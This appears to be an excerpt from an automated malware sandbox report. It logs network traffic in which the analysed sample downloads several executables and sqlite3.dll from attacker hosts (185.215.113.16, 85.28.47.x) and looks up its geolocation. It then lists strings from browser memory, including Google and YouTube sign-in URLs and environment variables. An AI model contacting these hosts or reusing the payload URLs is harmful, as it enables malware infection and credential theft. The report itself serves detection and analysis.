Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/build.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.8.6
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/5447jsX.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /inc/crypteda.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/25072023.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /c10a74a0c2f42c12/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: places.sqlite-wal.28.dr String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enmoc.elgoog.stnuocca. equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: places.sqlite-wal.28.dr String found in binary or memory: https://www.youtube.com! equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.youtube.com/accountmoc.ebutuoy.www. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'social-tracking-protection-facebook-digest256,social-tracking-protection-linkedin-digest256,social-tracking-protection-twitter-digest256https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2497805675.000001F3FFCA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://connect.facebook.net/*/sdk.js**://www.google-analytics.com/gtm/js**://s0.2mdn.net/instream/html5/ima3.js*://imasdk.googleapis.com/js/sdkloader/ima3.js*://static.adsafeprotected.com/iasPET.1.js*://www.google-analytics.com/analytics.js**://ssl.google-analytics.com/ga.js*://libs.coremetrics.com/eluminate.js*://www.googletagservices.com/tag/js/gpt.js**://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/webtrends.min.js*://www.rva311.com/static/js/main.*.chunk.js*://connect.facebook.net/*/all.js**://www.googletagmanager.com/gtm.js**://pagead2.googlesyndication.com/tag/js/gpt.js**://s.webtrends.com/js/advancedLinkTracking.js["https://ads-us.rd.linksynergy.com/as.php*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://securepubads.g.doubleclick.net/gampad/*ad**://www.facebook.com/platform/impression.php*https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-colorcolor-mix(in srgb, currentColor 9%, transparent)*://track.adform.net/Serving/TrackPoint/*color-mix(in srgb, currentColor 9%, transparent)*://*.adsafeprotected.com/*/unit/*--panel-banner-item-info-icon-bgcolorInvalid index: not in the closed windows equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://web-assets.toggl.com/app/assets/scripts/*.jsFileUtils_openAtomicFileOutputStream@mozilla.org/network/safe-file-output-stream;1resource://gre/modules/FileUtils.sys.mjs*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js**://auth.9c9media.ca/auth/main.jshttps://smartblock.firefox.etp/facebook.svg*://cdn.branch.io/branch-latest.min.js**://static.chartbeat.com/js/chartbeat_video.js*://www.rva311.com/static/js/main.*.chunk.js*://libs.coremetrics.com/eluminate.js*://static.criteo.net/js/ld/publishertag.jspictureinpicture%40mozilla.org:1.0.0*://track.adform.net/serving/scripts/trackpoint/*://*.imgur.com/js/vendor.*.bundle.js*://www.everestjs.net/static/st.v3.js*@mozilla.org/network/atomic-file-output-stream;1*://pub.doubleverify.com/signals/pub.js*FileUtils_openSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/addons/addon-manager-startup;1*://c.amazon-adsystem.com/aax2/apstag.js*://static.chartbeat.com/js/chartbeat.jswebcompat-reporter%40mozilla.org:1.5.1*://*.imgur.io/js/vendor.*.bundle.jswebcompat-reporter@mozilla.org.xpiFileUtils_closeAtomicFileOutputStreamFileUtils_closeSafeFileOutputStream@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/play.svg*://www.google-analytics.com/gtm/js**://ssl.google-analytics.com/ga.js*://pagead2.googlesyndication.com/tag/js/gpt.js**://www.googletagservices.com/tag/js/gpt.js**://www.google-analytics.com/plugins/ua/ec.js*://cdn.optimizely.com/public/*.js*://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://s.webtrends.com/js/advancedLinkTracking.js*://www.googletagmanager.com/gtm.js**://s.webtrends.com/js/webtrends.js*://s0.2mdn.net/instream/html5/ima3.js*://imasdk.googleapis.com/js/sdkloader/ima3.js*://*.vidible.tv/*/vidible-min.js**://s.webtrends.com/js/webtrends.min.js*://static.adsafeprotected.com/iasPET.1.jsopenIDB/</request.onupgradeneeded equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: load_statistics.db-wal.31.dr String found in binary or memory: +www.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: +www.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: +www.youtube.comwww.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: +3www.youtube.comaccounts.google.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr String found in binary or memory: +Mwww.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ,Builtin Window Class Redirection contributorItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMA equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2585695380.000001F3EF2E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443 <ROUTE-via www.youtube.com:443> {NPN-TOKEN h3}^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2757465880.000001F401003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401E7C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755898255.000001F400F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: :https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: :moz-nullprincipal:{7198ad93-0425-431b-a9b5-f17528b5bd39}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\=C:=C:\Users\user\1000003002ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user~1\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows%W equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2533978892.0000021F9B190000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows@ equals www.youtube.com (Youtube)
